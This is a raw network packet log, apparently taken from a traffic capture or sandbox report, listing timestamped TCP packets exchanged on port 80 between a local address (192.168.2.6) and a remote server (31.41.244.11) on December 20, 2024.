Dec 20, 2024 21:13:28.525746107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.525779009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.525793076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.526905060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.527039051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.527091980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.527091980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.528009892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.528069973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.528107882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.528295040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.529124022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.529202938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.529236078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.529293060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.530347109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.530422926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.530427933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.530548096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.531522036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.531579018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.531630993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.531778097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.532696009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.532784939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.532826900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.532893896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.533845901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.533901930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.534014940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.535098076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.535229921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.535339117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.536154032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.536266088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.536287069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.536444902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.537365913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.537457943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.537609100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.538512945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.538626909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.538641930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.539680958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.539738894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.539793015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.539829016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.540838957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.540914059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.541002035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.541115046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.542068958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.542224884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.542258978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.542299032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.543226957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.543289900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.543351889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.543397903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.544426918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.544538021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.544539928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.544621944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.545571089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.545715094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.545788050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.546752930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.546844959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.547844887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.547913074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.547962904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.548016071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.548254013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.549087048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.549197912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.549210072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.549269915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.550296068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.550400019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.550461054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.551460981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.551567078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.551604986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.551709890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.552637100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.552815914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.552838087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.552911997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.553792953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.556639910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.684607029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.684708118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.685162067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.685242891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.685246944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.685318947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.686328888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.686399937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.686414003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.686619043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.687494040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.687654018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.687664986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.687711000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.688668966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.688755035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.688822985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.688901901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.689977884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.690079927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.690102100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.690229893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.691035032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.691150904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.691211939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.692187071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.692276001 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.692361116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.692595959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.693365097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.693448067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.693484068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.693559885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.694542885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.694648981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.694727898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.694879055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.695693970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.695760012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.695833921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.696017981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.696908951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.696995020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.697189093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.698045969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.698190928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.699237108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.699289083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.699289083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.699393034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.700459003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.700512886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.700515032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.700589895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.701598883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.701700926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.701854944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.702788115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.702889919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.702944994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.703948975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.704061031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.704245090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.705312014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.705389023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.705396891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.705622911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.706299067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.706410885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.706425905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.706470966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.707478046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.707539082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.707632065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.707705021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.708661079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.708789110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.708921909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.709845066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.709920883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.709924936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.710114956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.711168051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.711287975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.711306095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.711371899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.712219000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.712289095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.712305069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.712372065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.713395119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.713459969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.713493109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.713602066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.714745998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.714845896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.714873075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.714931965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.715766907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.715809107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.715837002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.715984106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.716998100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.717082977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.717108965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.717475891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.718065023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.718173981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.718286991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.719288111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.719388962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.719538927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.719619036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.720443964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.720523119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.720669985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.721661091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.721709013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.721827030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.722778082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.722898006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.722903967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.723095894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.723983049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.724046946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.724085093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.724210024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.725125074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.725193977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.725229979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.725282907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.726372957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.726403952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.726433992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.726650000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.727499008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.727572918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.727703094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.727763891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.728684902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.728800058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.728802919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.728872061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.729866982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.729953051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.729979992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.730079889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.731023073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.731101036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.731136084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.731302977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.732207060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.732259989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.732291937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.732429981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.733411074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.733484030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.733562946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.733608007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.734643936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.734783888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.734801054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.735023022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.735877037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.735975981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.736000061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.736550093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.737083912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.737134933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.737154007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.737169981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.738188028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.738281965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.738286018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.738456964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.739332914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.739389896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.739406109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.739476919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.740410089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.740489960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.740546942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.740742922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.741651058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.741702080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.741753101 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.741857052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.742788076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.742851019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.742928028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.743000984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.744009972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.744050980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.744086981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.744173050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.745217085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.745392084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.745413065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.745461941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.746340990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.746408939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.876817942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.876888990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.876905918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.876979113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.877119064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.877317905 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.877387047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.878447056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.878546000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.878631115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.878690958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.879765987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.879844904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.879887104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.880038977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.880625963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.880759954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.880826950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.881747007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.881841898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.881846905 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.882074118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.882819891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.882935047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.882940054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.883091927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.884027004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.884104013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.884140968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.884258032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.885215998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.885276079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.885281086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.885380030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.886526108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.886630058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.886656046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.886759996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.887669086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.887727022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.887749910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.887804985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.888787985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.888839006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.888870955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.889734030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.889884949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.889981985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.890002966 CET	49887	80	192.168.2.6	31.41.244.11
